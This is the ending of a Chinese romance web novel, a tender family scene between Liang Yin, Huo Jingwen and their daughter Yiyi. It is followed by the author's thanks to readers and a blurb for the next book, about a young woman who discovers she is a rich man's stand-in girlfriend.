梁音用力点头:“好!” 这时在一旁玩雪的意意噌噌噌跑过来,圆滚滚的小身子挤到爸爸妈妈中间,大声说:“还有我,爸爸,我也会陪着爸爸妈妈的,不能忘了意意。” 霍景闻松开手,看着脸蛋红通通的女儿,一手把小胖墩抱了起来,扬眉道:“当然不会忘了小公主。” 他不动声色地给女儿下套: “那小公主要不要一辈子陪着爸爸妈妈?” 意意萌萌地点头:“要!” 霍景闻很满意:“拉!钩!” 梁音无奈地想。 就霍景闻这女儿奴的样子,以后哪个男生要想娶意意,可能比西天取经都要难。 不过,未来的事,就交给未来吧。 现在他们一家三口要——吃!蛋!糕! ——正文完———— 作者有话说:好啦,正文完结啦,感谢大家陪我走到这里,很感激大家的支持。 又完结了一本,种下一颗小树,有了一点收获,也算是不错吧[星星眼] 下一本会开《绿茶绝不当替身》是一个刻薄野心家从一开始看不上绿茶女主最后打脸,为爱低头追妻火葬场的故事,算是我比较擅长的人设和题材,感兴趣的宝子们可以收藏一下,应该很快会开。[亲亲] 文案: 大二那年,高不可攀的商界大佬找到云瑶,称他可以帮她解决目前的问题,前提是要她做他的女朋友。 因为家里催婚,他需要一个女朋友来堵住家里的嘴。 云瑶同意了。 当了他两年的女朋友。 商霁英俊多金,但刻薄毒舌又难搞。对她态度冷漠从未上心,就像家里的一只花瓶,有时间了欣赏一会儿,没时间几个月不出现一次。 云瑶也不在意,很有职业操守。 和他在一起时,她装乖撒娇黏人,事事顺他的心。 她一直不明白商霁当初为什么会选择自己 直到她大学毕业,才听说商霁一直有个求而不得的白月光,与她有八分相似。 她才明白自己不过是个替代品。 而最近他的白月光上个月已经回国。 云瑶: 商霁这个狗东西脾气差难哄就算了,竟然还把她当替身,这是人干事?! 分手,立马分手!《 》